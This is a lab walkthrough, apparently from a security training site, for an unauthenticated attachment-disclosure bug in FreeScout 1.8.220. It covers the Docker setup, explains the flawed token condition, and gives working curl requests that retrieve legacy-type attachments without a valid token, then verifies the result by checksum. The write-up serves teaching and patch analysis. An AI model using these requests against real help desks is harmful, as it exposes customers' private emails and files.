CVE-2026-48812: FreeScout Unauthenticated Attachment Disclosure
Updated August 18, 2026 · Written by PWNMI — see About.
FreeScout is a self-hosted, open-source help desk platform — the kind of app that accumulates years of customer emails and their attachments on a single long-running install. CVE-2026-48812 is an unauthenticated access-control bypass in the route that serves those attachments: a boolean condition meant to reject bad tokens has a gap that, for one specific class of attachment, doesn't check the token at all.
This lab has no original PoC researcher to credit — no public exploit existed for this CVE when it was researched. The lab and exploit chain here were built entirely from FreeScout's own patch diff and verified independently, including a differential test against the very next release. Affects FreeScout 1.8.220 and earlier; fixed in 1.8.221. Patch commit: 215241e. GHSA advisory: GHSA-wg74-ww4w-2qpc.
What you'll practice: deriving an exploit from a patch diff alone (De Morgan's law applied to a one-line access-control fix), tracing a vulnerable state back through a chain of database migrations to understand which real-world rows are actually affected, and verifying a finding with independent, cross-referenced evidence — server log, filesystem checksum, and a differential test against the patched version — instead of trusting a single HTTP response.
Set up the lab
New to Docker or git, or unsure what the commands below are actually doing? See Docker for Security Labs and Git for Security Work first.
Get the lab files from pwnmihq/resources:
git clone --filter=blob:none --sparse https://github.com/pwnmihq/resources
cd resources
git sparse-checkout set cve-labs/CVE-2026-48812
cd cve-labs/CVE-2026-48812
docker compose up -d --build
The container builds FreeScout 1.8.220 from source at image-build time (a plain git clone of the tagged release — no plugin binary or license needed, FreeScout is fully open source) and seeds two attachments on first boot: one created through the normal, current code path, and one with its token type forced back to the legacy value this CVE targets. Capture the container and its IP:
CONTAINER=$(docker compose ps -q freescout)
IP=$(docker inspect $CONTAINER --format '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}')
FreeScout's trusted-host guard rejects any request whose Host header doesn't match its configured APP_URL, which this lab sets to freescout.local. Every request from here needs -H "Host: freescout.local", including this readiness check:
curl -s -o /dev/null -w '%{http_code}' -H "Host: freescout.local" "http://$IP/"
A 200 means the app is up. Pull the seeded attachment paths and tokens out of the container's logs — you'll need them for the next step:
docker exec $CONTAINER cat /var/www/html/storage/seed-output.txt
That prints two lines, SECURE ... and LEGACY ..., each with an id, a dir, a name, and (for the secure one) its correct token.
Understanding the vulnerability
FreeScout serves attachments through a route with no login requirement at all — by design, so a customer can click a link in an email without an active session. The only thing standing between "anyone on the internet" and the file is a token check in OpenController::downloadAttachment():
if ($token != $attachment->getToken() && $attachment->token_type != Attachment::TOKEN_TYPE_LEGACY) {
return \Helper::denyAccess();
}
Read that literally: access is denied only when both halves are true — the token is wrong, and the attachment isn't the legacy type. By De Morgan's law, that means access is granted whenever token_type == TOKEN_TYPE_LEGACY, full stop, regardless of what token (or no token) was supplied. For that one class of attachment, the check isn't weak — it's not running at all.
The question that actually matters is how common that legacy state is. Attachment::create() never assigns the legacy type today — it's purely inherited row state. A 2026 migration backfills token_type from an older public boolean column, and that public column itself was introduced back in 2020 with a one-time migration that set public = true for every attachment that already existed at the time — a grandfather clause for download links that predated the token mechanism entirely. Nothing in current code ever sets it back. The practical result: on any FreeScout instance that's been running since before March 2020 and has been kept updated since, every attachment created before that date — potentially years of customer file history — sits at the vulnerable token type today, reachable by anyone who can guess or has ever seen its URL path.
Exploitation
Take the dir and name values for the LEGACY attachment from the seed output above and request it with no token, or a deliberately wrong one:
curl -s -H "Host: freescout.local" "http://$IP/storage/attachment/<legacy-dir>/<legacy-name>?token=totallywrongtoken"
curl -s -H "Host: freescout.local" "http://$IP/storage/attachment/<legacy-dir>/<legacy-name>"
Both return HTTP 200 with the full file content. As a control, try the same thing against the SECURE attachment from the seed output — normal token enforcement is still intact for it:
curl -s -o /dev/null -w '%{http_code}\n' -H "Host: freescout.local" "http://$IP/storage/attachment/<secure-dir>/<secure-name>?token=totallywrongtoken"
That one comes back 403. Confirm the leak server-side, not just from your own client's report — the same requests show up in the container's access log with the same status codes:
docker logs $CONTAINER 2>&1 | grep "attachment/<legacy-dir>"
And confirm the response is the real file, not a stub, by comparing it against the file on disk:
docker exec $CONTAINER md5sum /var/www/html/storage/app/attachment/<legacy-dir>/<legacy-name>
curl -s -H "Host: freescout.local" "http://$IP/storage/attachment/<legacy-dir>/<legacy-name>" | md5sum
Matching checksums confirm it: an unauthenticated request pulled the exact bytes off disk, no token required.
Cleanup
This lab is read-only against the target. The exploit doesn't create, modify, or delete anything on the FreeScout instance — it's a pure information disclosure, so there's no application state to revert. On a real engagement, the artifact worth documenting isn't something you'd clean up on the target at all: it's which attachment IDs and file paths you were able to pull, so the client's own team can assess what was actually exposed to anyone else who might have found the same URLs before you did.
Tear the lab down when you're done:
docker compose down -v
Lessons worth keeping
- A boolean condition with two clauses can have a silent escape hatch. This bug isn't a missing check — it's a check that's present but only fires for one of the states it needs to cover. Reading an access-control condition means asking, for every possible value on both sides, whether it actually denies what it's supposed to deny — not just confirming it denies the case you tested.
- A migration's one-time backfill can create a permanent vulnerable population. The legacy token type isn't a bug an attacker introduces — it's baseline state left behind by a schema change from years earlier, silently inherited by every old row. Auditing "what does this code do to new data" isn't the same question as "what state is old data already sitting in."
- A patch diff is a complete exploit spec if you read it as one. No public PoC existed for this CVE — the entire exploit here, including which rows are affected and why, was derived by reading the one-line fix and asking what specific input makes the old condition true that the new one makes false.
Next step
For another FreeScout bug from this same lab set, see CVE-2026-53595 (FreeScout Account Takeover) — a database-comparison quirk in the same codebase, verified the same way: at the data layer, not just the HTTP layer. For the broader skill of confirming a finding is real before reporting it, see Maintaining Access and Persistence.
Get new write-ups in your inbox
New roadmaps, tool walkthroughs, and lab write-ups. No spam. Unsubscribe anytime.